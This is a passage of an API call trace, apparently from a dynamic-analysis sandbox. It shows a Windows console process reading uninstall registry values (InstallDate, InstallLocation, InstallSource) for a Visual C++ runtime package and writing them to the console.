GetConsoleOutputCP () returned 0x1b5 [0149.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.956] GetConsoleOutputCP () returned 0x1b5 [0149.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.956] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.956] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.956] __iob_func () returned 0x7fefd702a80 [0149.956] _fileno (_File=0x7fefd702ab0) returned 1 [0149.956] _errno () returned 0x204bb0 [0149.956] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.956] _errno () returned 0x204bb0 [0149.956] GetFileType (hFile=0x50) returned 0x1 [0149.956] lstrlenW (lpString=" ") returned 4 [0149.956] GetConsoleOutputCP () returned 0x1b5 [0149.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.956] GetConsoleOutputCP () returned 0x1b5 [0149.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.957] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.957] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.957] __iob_func () returned 0x7fefd702a80 [0149.957] _fileno (_File=0x7fefd702ab0) returned 1 [0149.957] _errno () returned 0x204bb0 [0149.957] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.957] _errno () returned 0x204bb0 [0149.957] GetFileType (hFile=0x50) returned 0x1 [0149.957] lstrlenW (lpString="") returned 0 [0149.957] __iob_func () returned 0x7fefd702a80 [0149.957] _fileno (_File=0x7fefd702ab0) returned 1 [0149.957] _errno () returned 0x204bb0 [0149.957] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.957] _errno () returned 0x204bb0 [0149.957] GetFileType (hFile=0x50) returned 0x1 [0149.957] lstrlenW (lpString="\n") returned 1 [0149.957] GetConsoleOutputCP () returned 0x1b5 [0149.957] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.957] GetConsoleOutputCP () returned 0x1b5 [0149.957] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.957] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.957] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.957] GetProcessHeap () returned 0x3c0000 [0149.957] GetProcessHeap () returned 0x3c0000 [0149.957] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.957] GetProcessHeap () returned 0x3c0000 [0149.958] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.958] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.958] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.958] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x14) returned 0x0 [0149.958] GetProcessHeap () returned 0x3c0000 [0149.958] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x16) returned 0x3df290 [0149.958] GetProcessHeap () returned 0x3c0000 [0149.958] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.958] GetProcessHeap () returned 0x3c0000 [0149.958] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0149.958] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x14 | out: pdwType=0x29f700*=0x1, pvData="20170714", pcbData=0x29f780*=0x12) returned 0x0 [0149.958] __iob_func () returned 0x7fefd702a80 [0149.958] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.958] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.958] _fileno (_File=0x7fefd702ab0) returned 1 [0149.958] _errno () returned 0x204bb0 [0149.958] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.958] _errno () returned 0x204bb0 [0149.958] GetFileType (hFile=0x50) returned 0x1 [0149.958] lstrlenW (lpString=" ") returned 4 [0149.958] GetConsoleOutputCP () returned 0x1b5 [0149.958] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.958] GetConsoleOutputCP () returned 0x1b5 [0149.958] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.958] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.958] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.959] lstrlenW (lpString="InstallDate") returned 11 [0149.959] __iob_func () returned 0x7fefd702a80 [0149.959] _fileno (_File=0x7fefd702ab0) returned 1 [0149.959] _errno () returned 0x204bb0 [0149.959] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.959] _errno () returned 0x204bb0 [0149.959] GetFileType (hFile=0x50) returned 0x1 [0149.959] lstrlenW (lpString="InstallDate") returned 11 [0149.959] GetConsoleOutputCP () returned 0x1b5 [0149.959] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.959] GetConsoleOutputCP () returned 0x1b5 [0149.959] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0149.959] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.959] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.959] __iob_func () returned 0x7fefd702a80 [0149.959] _fileno (_File=0x7fefd702ab0) returned 1 [0149.959] _errno () returned 0x204bb0 [0149.959] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.959] _errno () returned 0x204bb0 [0149.959] GetFileType (hFile=0x50) returned 0x1 [0149.959] lstrlenW (lpString=" ") returned 4 [0149.959] GetConsoleOutputCP () returned 0x1b5 [0149.960] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.960] GetConsoleOutputCP () returned 0x1b5 [0149.960] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.960] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.960] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.960] __iob_func () returned 0x7fefd702a80 [0149.960] _fileno (_File=0x7fefd702ab0) returned 1 [0149.960] _errno () returned 0x204bb0 [0149.960] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.960] _errno () returned 0x204bb0 [0149.960] GetFileType (hFile=0x50) returned 0x1 [0149.960] lstrlenW (lpString="REG_SZ") returned 6 [0149.960] GetConsoleOutputCP () returned 0x1b5 [0149.960] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.960] GetConsoleOutputCP () returned 0x1b5 [0149.960] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.960] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.960] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.960] __iob_func () returned 0x7fefd702a80 [0149.960] _fileno (_File=0x7fefd702ab0) returned 1 [0149.960] _errno () returned 0x204bb0 [0149.960] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.960] _errno () returned 0x204bb0 [0149.961] GetFileType (hFile=0x50) returned 0x1 [0149.961] lstrlenW (lpString=" ") returned 4 [0149.961] GetConsoleOutputCP () returned 0x1b5 [0149.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.961] GetConsoleOutputCP () returned 0x1b5 [0149.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.961] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.961] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.961] __iob_func () returned 0x7fefd702a80 [0149.961] _fileno (_File=0x7fefd702ab0) returned 1 [0149.961] _errno () returned 0x204bb0 [0149.961] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.961] _errno () returned 0x204bb0 [0149.961] GetFileType (hFile=0x50) returned 0x1 [0149.961] lstrlenW (lpString="20170714") returned 8 [0149.961] GetConsoleOutputCP () returned 0x1b5 [0149.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170714", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.961] GetConsoleOutputCP () returned 0x1b5 [0149.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170714", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170714", lpUsedDefaultChar=0x0) returned 8 [0149.961] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.962] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.962] __iob_func () returned 0x7fefd702a80 [0149.962] _fileno (_File=0x7fefd702ab0) returned 1 [0149.962] _errno () returned 0x204bb0 [0149.962] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.962] _errno () returned 0x204bb0 [0149.962] GetFileType (hFile=0x50) returned 0x1 [0149.962] lstrlenW (lpString="\n") returned 1 [0149.962] GetConsoleOutputCP () returned 0x1b5 [0149.962] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.962] GetConsoleOutputCP () returned 0x1b5 [0149.962] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.962] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.962] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.962] GetProcessHeap () returned 0x3c0000 [0149.962] GetProcessHeap () returned 0x3c0000 [0149.962] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.962] GetProcessHeap () returned 0x3c0000 [0149.962] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0149.962] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.962] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.962] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.962] GetProcessHeap () returned 0x3c0000 [0149.962] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.962] GetProcessHeap () returned 0x3c0000 [0149.963] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.963] GetProcessHeap () returned 0x3c0000 [0149.963] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.963] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.963] __iob_func () returned 0x7fefd702a80 [0149.963] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.963] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.963] _fileno (_File=0x7fefd702ab0) returned 1 [0149.963] _errno () returned 0x204bb0 [0149.963] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.963] _errno () returned 0x204bb0 [0149.963] GetFileType (hFile=0x50) returned 0x1 [0149.963] lstrlenW (lpString=" ") returned 4 [0149.963] GetConsoleOutputCP () returned 0x1b5 [0149.963] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.963] GetConsoleOutputCP () returned 0x1b5 [0149.963] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.963] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.963] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.963] lstrlenW (lpString="InstallLocation") returned 15 [0149.963] __iob_func () returned 0x7fefd702a80 [0149.963] _fileno (_File=0x7fefd702ab0) returned 1 [0149.963] _errno () returned 0x204bb0 [0149.963] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.963] _errno () returned 0x204bb0 [0149.963] GetFileType (hFile=0x50) returned 0x1 [0149.963] lstrlenW (lpString="InstallLocation") returned 15 [0149.964] GetConsoleOutputCP () returned 0x1b5 [0149.964] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.964] GetConsoleOutputCP () returned 0x1b5 [0149.964] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0149.964] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.964] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.964] __iob_func () returned 0x7fefd702a80 [0149.964] _fileno (_File=0x7fefd702ab0) returned 1 [0149.964] _errno () returned 0x204bb0 [0149.964] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.964] _errno () returned 0x204bb0 [0149.964] GetFileType (hFile=0x50) returned 0x1 [0149.964] lstrlenW (lpString=" ") returned 4 [0149.964] GetConsoleOutputCP () returned 0x1b5 [0149.964] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.964] GetConsoleOutputCP () returned 0x1b5 [0149.964] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.964] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.964] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.965] __iob_func () returned 0x7fefd702a80 [0149.965] _fileno (_File=0x7fefd702ab0) returned 1 [0149.965] _errno () returned 0x204bb0 [0149.965] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.965] _errno () returned 0x204bb0 [0149.965] GetFileType (hFile=0x50) returned 0x1 [0149.965] lstrlenW (lpString="REG_SZ") returned 6 [0149.965] GetConsoleOutputCP () returned 0x1b5 [0149.965] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.965] GetConsoleOutputCP () returned 0x1b5 [0149.965] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.965] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.965] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.965] __iob_func () returned 0x7fefd702a80 [0149.965] _fileno (_File=0x7fefd702ab0) returned 1 [0149.965] _errno () returned 0x204bb0 [0149.965] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.965] _errno () returned 0x204bb0 [0149.965] GetFileType (hFile=0x50) returned 0x1 [0149.965] lstrlenW (lpString=" ") returned 4 [0149.965] GetConsoleOutputCP () returned 0x1b5 [0149.965] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.965] GetConsoleOutputCP () returned 0x1b5 [0149.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.966] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.966] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.966] __iob_func () returned 0x7fefd702a80 [0149.966] _fileno (_File=0x7fefd702ab0) returned 1 [0149.966] _errno () returned 0x204bb0 [0149.966] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.966] _errno () returned 0x204bb0 [0149.966] GetFileType (hFile=0x50) returned 0x1 [0149.966] lstrlenW (lpString="") returned 0 [0149.966] __iob_func () returned 0x7fefd702a80 [0149.966] _fileno (_File=0x7fefd702ab0) returned 1 [0149.966] _errno () returned 0x204bb0 [0149.966] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.966] _errno () returned 0x204bb0 [0149.966] GetFileType (hFile=0x50) returned 0x1 [0149.966] lstrlenW (lpString="\n") returned 1 [0149.966] GetConsoleOutputCP () returned 0x1b5 [0149.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.966] GetConsoleOutputCP () returned 0x1b5 [0149.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.966] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.966] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.967] GetProcessHeap () returned 0x3c0000 [0149.967] GetProcessHeap () returned 0x3c0000 [0149.967] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.967] GetProcessHeap () returned 0x3c0000 [0149.967] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.967] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.967] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.967] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xe6) returned 0x0 [0149.967] GetProcessHeap () returned 0x3c0000 [0149.967] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xe8) returned 0x3dce90 [0149.967] GetProcessHeap () returned 0x3c0000 [0149.967] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90) returned 1 [0149.967] GetProcessHeap () returned 0x3c0000 [0149.967] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dce90) returned 0xe8 [0149.967] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dce90, pcbData=0x29f780*=0xe6 | out: pdwType=0x29f700*=0x1, pvData="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\", pcbData=0x29f780*=0xe4) returned 0x0 [0149.967] __iob_func () returned 0x7fefd702a80 [0149.967] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.967] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.967] _fileno (_File=0x7fefd702ab0) returned 1 [0149.967] _errno () returned 0x204bb0 [0149.967] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.967] _errno () returned 0x204bb0 [0149.967] GetFileType (hFile=0x50) returned 0x1 [0149.967] lstrlenW (lpString=" ") returned 4 [0149.967] GetConsoleOutputCP () returned 0x1b5 [0149.967] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.967] GetConsoleOutputCP () returned 0x1b5 [0149.968] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.968] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.968] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.968] lstrlenW (lpString="InstallSource") returned 13 [0149.968] __iob_func () returned 0x7fefd702a80 [0149.968] _fileno (_File=0x7fefd702ab0) returned 1 [0149.968] _errno () returned 0x204bb0 [0149.968] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.968] _errno () returned 0x204bb0 [0149.968] GetFileType (hFile=0x50) returned 0x1 [0149.968] lstrlenW (lpString="InstallSource") returned 13 [0149.968] GetConsoleOutputCP () returned 0x1b5 [0149.968] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.968] GetConsoleOutputCP () returned 0x1b5 [0149.968] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", 